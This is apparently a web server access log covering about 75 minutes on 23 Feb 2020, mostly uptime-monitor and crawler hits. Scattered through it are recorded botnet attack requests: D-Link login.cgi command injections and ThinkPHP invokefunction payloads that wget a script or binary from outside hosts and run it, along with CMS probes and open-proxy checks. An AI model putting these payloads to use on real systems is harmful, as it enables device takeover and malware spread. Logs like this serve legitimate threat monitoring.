212.91.246.72 - - [23/Feb/2020:07:02:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:03:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [23/Feb/2020:07:04:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [23/Feb/2020:07:04:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:05:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.121.98.231 - - [23/Feb/2020:07:05:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [23/Feb/2020:07:06:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:07:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.186.94.173 - - [23/Feb/2020:07:07:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:07:08:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.111.10.188 - - [23/Feb/2020:07:08:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:07:09:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:10:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:11:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.99.152.25 - - [23/Feb/2020:07:11:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:07:12:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [23/Feb/2020:07:12:28 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:13:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:14:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.86 - - [23/Feb/2020:07:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [23/Feb/2020:07:15:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:16:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.110.145.219 - - [23/Feb/2020:07:17:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:17:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:18:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:19:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:20:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.232.239.53 - - [23/Feb/2020:07:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:21:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:22:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:23:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:24:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:25:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:26:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.30.57.221 - - [23/Feb/2020:07:26:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.30.57.221 - - [23/Feb/2020:07:26:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
106.12.69.27 - - [23/Feb/2020:07:27:15 +0100] "GET /action.php HTTP/1.1" 404 304 "-" "-"
212.91.246.72 - - [23/Feb/2020:07:27:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [23/Feb/2020:07:27:21 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:07:27:22 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:28:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [23/Feb/2020:07:29:13 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:29:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:30:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:31:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:32:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.183.214.223 - - [23/Feb/2020:07:32:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:33:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:34:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.41 - - [23/Feb/2020:07:34:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
222.186.19.221 - - [23/Feb/2020:07:35:19 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [23/Feb/2020:07:35:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.63.139.196 - - [23/Feb/2020:07:35:31 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3239.132 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:36:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.92.249.162 - - [23/Feb/2020:07:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:37:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.88.112.214 - - [23/Feb/2020:07:37:35 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.160.175.154 - - [23/Feb/2020:07:37:37 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.200.162.160 - - [23/Feb/2020:07:37:37 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
175.184.165.106 - - [23/Feb/2020:07:37:38 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.116.41.52 - - [23/Feb/2020:07:37:38 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.175.56.32 - - [23/Feb/2020:07:37:39 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
119.118.16.16 - - [23/Feb/2020:07:37:40 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.175.56.207 - - [23/Feb/2020:07:37:41 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.200.71.108 - - [23/Feb/2020:07:37:41 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [23/Feb/2020:07:38:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:39:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:40:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.235.236.231 - - [23/Feb/2020:07:40:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:41:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:42:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.186 - - [23/Feb/2020:07:42:36 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
151.80.39.39 - - [23/Feb/2020:07:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [23/Feb/2020:07:43:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:44:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.234.231.254 - - [23/Feb/2020:07:44:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:07:45:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:46:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [23/Feb/2020:07:46:22 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [23/Feb/2020:07:47:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.90.246.235 - - [23/Feb/2020:07:47:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.90.246.235 - - [23/Feb/2020:07:47:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.90.246.235 - - [23/Feb/2020:07:47:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.90.246.235 - - [23/Feb/2020:07:47:41 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.90.246.235 - - [23/Feb/2020:07:47:41 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.90.246.235 - - [23/Feb/2020:07:47:41 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.90.246.235 - - [23/Feb/2020:07:47:41 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.90.246.235 - - [23/Feb/2020:07:47:42 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.90.246.235 - - [23/Feb/2020:07:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [23/Feb/2020:07:48:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:49:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [23/Feb/2020:07:49:24 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [23/Feb/2020:07:49:58 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [23/Feb/2020:07:50:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [23/Feb/2020:07:51:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [23/Feb/2020:07:51:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [23/Feb/2020:07:51:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:07:51:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [23/Feb/2020:07:51:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
222.186.19.221 - - [23/Feb/2020:07:51:32 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
59.7.155.141 - - [23/Feb/2020:07:51:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:07:52:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.0.117.23 - - [23/Feb/2020:07:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:53:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:54:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:55:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [23/Feb/2020:07:55:24 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [23/Feb/2020:07:56:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [23/Feb/2020:07:57:16 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [23/Feb/2020:07:57:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.154.82.190 - - [23/Feb/2020:07:58:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:58:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:59:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:00:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:01:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:02:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:03:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:04:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:05:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [23/Feb/2020:08:05:32 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [23/Feb/2020:08:06:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:07:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:08:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [23/Feb/2020:08:08:31 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [23/Feb/2020:08:09:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.14.73.89 - - [23/Feb/2020:08:09:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:08:10:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:11:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:12:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.47.188.142 - - [23/Feb/2020:08:12:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:08:13:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:14:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:15:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:16:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:17:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.160.226.122 - - [23/Feb/2020:08:18:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [23/Feb/2020:08:18:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [23/Feb/2020:08:18:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [23/Feb/2020:08:18:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [23/Feb/2020:08:18:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [23/Feb/2020:08:18:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [23/Feb/2020:08:18:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [23/Feb/2020:08:18:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
